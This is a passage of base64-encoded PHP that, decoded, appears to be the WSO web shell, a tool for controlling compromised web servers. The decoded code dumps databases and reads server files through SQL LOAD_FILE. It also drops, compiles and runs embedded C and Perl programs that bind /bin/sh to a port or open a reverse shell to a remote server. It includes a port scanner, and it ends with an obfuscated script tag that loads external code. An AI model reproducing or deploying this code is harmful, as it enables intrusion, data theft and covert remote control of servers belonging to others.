JF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7CgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsKCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwoJCQl9CgkJCSRkYi0+bGlzdERicygpOwoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwoJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgewoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwoJCQl9CgkJCWVjaG8gJzwvc2VsZWN0Pic7CgkJfQoJCWVsc2UgZWNobyAkdG1wOwoJfWVsc2UKCQllY2hvICR0bXA7Cgk/PjwvdGQ+CgkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPgoJCQk8L3RyPgoJCTwvdGFibGU+CgkJPHNjcmlwdD4KCQkJZnVuY3Rpb24gc3QodCxsKSB7CgkJCQlkb2N1bWVudC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOwoJCQkJZG9jdW1lbnQuc2YucDIudmFsdWUgPSB0OwoJCQkJaWYobCE9bnVsbClkb2N1bWVudC5zZi5wMy52YWx1ZSA9IGw7CgkJCQlkb2N1bWVudC5zZi5zdWJtaXQoKTsKCQkJfQoJCQlmdW5jdGlvbiBpcygpIHsKCQkJCWZvcihpPTA7aTxkb2N1bWVudC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWRvY3VtZW50LnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsKCQkJfQoJCTwvc2NyaXB0PgoJPD9waHAKCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwoJCQlpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CgkJCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7CgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CgkJCQkJJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsKCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7CgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgiLiRuWyduJ10uIik8L25vYnI+PGJyPiI7CgkJCQl9CgkJCQllY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7CgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7CgkJCQkJJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsKCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsKCQkJCQkkbnVtID0gJGRiLT5mZXRjaCgpOwoJCQkJCSRudW0gPSAkbnVtWyduJ107CgkJCQkJZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7CgkJCQkJZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspCgkJCQkJCWlmKCRpICE9IChpbnQpJF9QT1NUWydwMyddKQoJCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsKCQkJCQkJZWxzZQoJCQkJCQkJZWNobyAoJGkrMSksIiAiOwoJCQkJCWlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQoJCQkJCQkkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOwoJCQkJCWVsc2UKCQkJCQkJJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7CgkJCQkJZWNobyAiPGJyPjxicj4iOwoJCQkJfQoJCQkJaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKCQkJCQkkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOwoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgewoJCQkJCQkkdGl0bGUgPSBmYWxzZTsKCQkJCQkJZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsKCQkJCQkJJGxpbmUgPSAxOwoJCQkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkJewoJCQkJCQkJaWYoISR0aXRsZSkJewoJCQkJCQkJCWVjaG8gJzx0cj4nOwoJCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKCQkJCQkJCQlyZXNldCgkaXRlbSk7CgkJCQkJCQkJJHRpdGxlPXRydWU7CgkJCQkJCQkJZWNobyAnPC90cj48dHI+JzsKCQkJCQkJCQkkbGluZSA9IDI7CgkJCQkJCQl9CgkJCQkJCQllY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7CgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsKCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsKCQkJCQkJCQlpZigkdmFsdWUgPT0gbnVsbCkKCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwoJCQkJCQkJCWVsc2UKCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAnPC90cj4nOwoJCQkJCQl9CgkJCQkJCWVjaG8gJzwvdGFibGU+JzsKCQkJCQl9IGVsc2UgewoJCQkJCQllY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7CgkJCQkJfQoJCQkJfQoJCQkJZWNobyAiPGJyPjx0ZXh0YXJlYSBuYW1lPSdwMycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iLkBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSkuIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7CgkJCQllY2hvICI8L3RkPjwvdHI+IjsKCQkJfQoJCQllY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7CgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewoJCQkJJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsKCQkJCSRmaWxlID0gJGRiLT5mZXRjaCgpOwoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwoJCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJcHJpbnRGb290ZXIoKTsKfQovLyBTcWwgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gTmV0d29yayBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgewoJcHJpbnRIZWFkZXIoKTsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsKCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwoJJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CgkkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CgllY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyB2YWx1ZT0nd3NvJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24gdmFsdWU9J2JwYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JwcCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4KCTxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0iLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIj4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdiY2MnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdiY3AnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+PGJyPiI7CglpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsKCQkJJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKCQkJaWYoJHcpCXsKCQkJCUBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKCQkJCUBmY2xvc2UoJHcpOwoJCQl9CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewoJCQljZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwoJCQkkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwoJCQlAdW5saW5rKCIvdG1wL2JwLmMiKTsKCQkJJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0Ii5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsKCQkJY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7CgkJCSRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dCIuZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdiY2MnKSB7CgkJCWNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3RfYyk7CgkJCSRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYmMgL3RtcC9iYy5jIik7CgkJCUB1bmxpbmsoIi90bXAvYmMuYyIpOwoJCQkkb3V0IC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXQiLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewoJCQljZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKCQkJJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXQiLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7CgkJfQoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gTmV0d29yayBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gUG9ydCBTY2FubmVyIGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9uIGFjdGlvblBvcnRTY2FubmVyKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5Qb3J0IFNjYW5uZXI8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsKICAgICAgICAkc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7CiAgICAgICAgJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydlbmQnXSk7CiAgICAgICAgJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsKICAgICAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKICAgICAgICAgICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7CiAgICAgICAgICAgIGlmKCRmcCl7CiAgICAgICAgICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1saW1lPm9wZW48L2ZvbnQ+PGJyPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzxiciAvPjxiciAvPjxjZW50ZXI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IlBvcnRTY2FubmVyIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPXAxPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgSG9zdDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz48YnIgLz48YnIgLz4KICAgICAgICAgICAgICBQb3J0IHN0YXJ0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgUG9ydCBlbmQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz48YnIgLz4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiBQb3J0cyIgLz4KICAgICAgICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PGJyIC8+PGJyIC8+JzsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQovLyBQb3J0IFNjYW5uZXIgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQoJaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwoJZWxzZQoJCSRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwo/PgoJPHNjcmlwdD4KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCU2OCU3NCU3NC